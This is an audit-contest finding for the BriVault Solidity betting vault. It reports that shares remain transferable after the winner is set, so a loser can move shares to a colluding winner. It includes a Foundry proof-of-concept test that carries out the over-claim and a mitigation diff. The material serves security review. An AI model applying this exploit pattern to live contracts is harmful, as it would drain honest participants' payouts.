BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

ERC20.transfer() of shares allows loser to steal winner payout by transferring shares to winner address after setWinner()

mnusurov

Critical: Transferable Shares Allow Losers to Steal Winner Payouts

Description

  • Users receive ERC20 shares upon deposit, which are used to calculate winner payouts proportionally.

  • Shares are transferable via ERC20.transfer() even after setWinner(), allowing attacker to bet on multiple countries from different addresses and then to transfer from loser addresses shares to a winner address and claim manupilated payout, while legitimate winners face ERC20InsufficientBalance.

function withdraw() external winnerSet {
if (keccak256(abi.encodePacked(userToCountry[msg.sender])) != keccak256(abi.encodePacked(winner)))
revert didNotWin();
// @> Pays ALL shares (including transferred)
uint256 assets = convertToAssets(balanceOf(msg.sender));
_burn(msg.sender, balanceOf(msg.sender));
...
}

Risk

Likelihood:

  • After setWinner() — one transfer() call.

Impact:

  • Winner claims loser’s + own deposit → double payout.

  • Legitimate winners → ERC20InsufficientBalance.

Proof of Concept

file test/BriVaultExploitTest.t.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
​
// solhint-disable-next-line no-unused-import
import {IERC20Errors} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
import {Test} from "forge-std/Test.sol";
​
import {BriVault} from "../src/briVault.sol";
import {MockERC20} from "./MockErc20.t.sol";
​
abstract contract BriVaultExploitTest is Test {
using Math for uint256;
​
uint256 internal constant FEE_BASE = 10000;
uint256 internal constant FEE_BSP = 100; // 1%
uint256 internal constant AFTER_FEE = FEE_BASE - FEE_BSP;
​
uint256 internal constant MIN_AMOUNT = 0.001 ether;
uint256 internal constant ATTACKER_AMOUNT = 1 ether;
uint256 internal constant USER1_AMOUNT = 5 ether;
uint256 internal constant WINNER_COUNTRY_ID = 0;
​
uint256 internal immutable startTime = block.timestamp + 1 days;
uint256 internal immutable endTime = startTime + 30 days;
MockERC20 internal immutable token = new MockERC20("Mock", "MTK");
​
BriVault internal vault;
​
address internal owner = makeAddr("owner");
address internal attacker1 = makeAddr("attacker1");
address internal attacker2 = makeAddr("attacker2");
address internal user1 = makeAddr("user1");
address internal feeAddr = makeAddr("feeAddr");
string[48] internal countries;
​
uint256 internal totalWinnerShares;
uint256 internal finalizedVaultAsset;
​
function setUp() external {
for (uint256 i = 0; i < 48; i++) countries[i] = vm.toString(i);
_deployVault(MIN_AMOUNT);
_deposit(attacker1, attacker1, ATTACKER_AMOUNT);
_deposit(user1, user1, USER1_AMOUNT);
}
​
function _deployVault(uint256 minAmount) internal {
vm.startPrank(owner);
vault = new BriVault({
_asset: IERC20(address(token)),
_participationFeeBsp: FEE_BSP,
_eventStartDate: startTime,
_participationFeeAddress: feeAddr,
_minimumAmount: minAmount,
_eventEndDate: endTime
});
vault.setCountry(countries);
vm.stopPrank();
}
​
function _deposit(address user, address receiver, uint256 assets) internal {
token.mint(user, assets);
vm.startPrank(user);
token.approve(address(vault), assets);
vault.deposit(assets, receiver);
vm.stopPrank();
finalizedVaultAsset += assets.mulDiv(AFTER_FEE, FEE_BASE);
}
​
function _joinEvent(address user, uint256 countryId) internal {
vm.prank(user);
vault.joinEvent(countryId);
if (countryId == WINNER_COUNTRY_ID) totalWinnerShares += vault.balanceOf(user);
}
​
function _withdraw(address user, uint256 userShares, string memory label) internal returns (uint256 userBalance) {
vm.prank(user);
vault.withdraw();
​
userBalance = userShares.mulDiv(finalizedVaultAsset, totalWinnerShares);
assertEq(userBalance, token.balanceOf(user), string(abi.encodePacked(label, " wrong balance")));
}
​
function _erc4626RedeemOrWithdraw(bool useRedeem, address user, string memory label) internal {
uint256 amountShares = vault.balanceOf(user);
uint256 amountAssets = vault.convertToShares(amountShares);
vm.prank(user);
useRedeem ? vault.redeem(amountShares, user, user) : vault.withdraw(amountAssets, user, user);
​
assertEq(
token.balanceOf(user),
amountAssets,
string(abi.encodePacked(label, " did not receive correct amount"))
);
}
​
function _endEventAndSetWinner() internal {
vm.warp(endTime + 1 seconds);
vm.prank(owner);
vault.setWinner(WINNER_COUNTRY_ID);
}
}

file test/PocC02.t.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
​
import {BriVaultExploitTest, IERC20Errors, Math} from "./BriVaultExploitTest.t.sol";
​
contract PocC02 is BriVaultExploitTest {
using Math for uint256;
​
function test_criticalTransferableSharesAllowLoserToClaimAsWinnerDilutingPayouts() external {
// Step 1: Deposit for attacker2 (will be the colluding winner)
_deposit(attacker2, attacker2, ATTACKER_AMOUNT);
​
// Step 2: All users join the event
_joinEvent(attacker1, (WINNER_COUNTRY_ID + 1) % countries.length); // - attacker1 joins a losing country
_joinEvent(attacker2, WINNER_COUNTRY_ID); // - attacker2 joins the winning country
_joinEvent(user1, WINNER_COUNTRY_ID); // - user1 (legitimate participant) joins the winning country
​
// Step 3: Event ends and the winner country is officially set
_endEventAndSetWinner();
​
​
// Step 4: Loser transfers ALL their shares to the colluding winner
uint256 attacker1Shares = vault.balanceOf(attacker1); // Loser's shares
uint256 attacker2Shares = vault.balanceOf(attacker2); // Winner's original shares
vm.prank(attacker1);
vault.transfer(attacker2, attacker1Shares);
​
// Step 5: Winner withdraws using BOTH original + transferred shares
uint256 fairBalance = attacker2Shares.mulDiv(finalizedVaultAsset, totalWinnerShares);
uint256 attacker2Balance = _withdraw(attacker2, attacker1Shares + attacker2Shares, "Attacker2");
assertGt(attacker2Balance, fairBalance, "Attacker2 withdraw more than fair");
emit log_named_uint("Attacker2 fair balance", fairBalance);
emit log_named_uint("Attacker2 actual balance", attacker2Balance);
​
​
// Step 6: Legitimate user (user1) attempts to withdraw
// Expect revert due to insufficient vault balance (drained by overclaim)
uint256 user1Shares = vault.balanceOf(user1);
uint256 vaultBalance = token.balanceOf(address(vault));
fairBalance = user1Shares.mulDiv(finalizedVaultAsset, totalWinnerShares);
vm.expectRevert(
abi.encodeWithSelector(
IERC20Errors.ERC20InsufficientBalance.selector,
address(vault),
vaultBalance,
fairBalance
)
);
vm.prank(user1);
vault.withdraw();
emit log_named_uint("User1 fair balance", fairBalance);
emit log_named_uint("Vault balance", vaultBalance);
}
}

Recommended Mitigation

Explanation:

  • hasJoined → blocks transfer after joinEvent()

  • eventStartDate → and post-start transfers

  • mint/burn → always allowed

  • cancelParticipation() → works before eventStartDate

+error SharesNonTransferable();
+mapping(address => bool) public hasJoined;
​
function joinEvent(uint256 countryId) public {
...
userToCountry[msg.sender] = teams[countryId];
+ hasJoined[msg.sender] = true;
...
}
​
+function _update(address from, address to, uint256 value) internal virtual override {
+ if (from != address(0) && to != address(0)) { //allow mint & burn
+ if (block.timestamp >= eventStartDate || hasJoined[from] || hasJoined[to]) {
+ revert SharesNonTransferable();
+ }
+ }
+ super._update(from, to, value);
+}
Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted ERC4626 functions

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!